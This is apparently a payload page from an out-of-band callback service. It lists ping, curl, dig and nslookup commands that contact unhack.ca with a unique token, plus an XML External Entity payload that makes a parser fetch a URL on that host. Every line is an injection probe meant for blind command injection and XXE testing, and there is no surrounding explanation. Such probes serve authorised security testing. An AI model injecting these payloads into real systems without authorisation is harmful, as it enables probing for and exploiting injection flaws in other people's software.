$ ping -c1 -p 002c946ff80eaf75fae305cecd030200 unhack.ca
 

$ curl http://unhack.ca/p/2c946ff80eaf75fae305cecd0302
 

$ dig 2c946ff80eaf75fae305cecd0302 @unhack.ca
 

$ dig 2c946ff80eaf75fae305cecd0302.ns.unhack.ca
 

C:\> nslookup 2c946ff80eaf75fae305cecd0302 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2c946ff80eaf75fae305cecd0302">]>
    <foo>&xxe;</foo>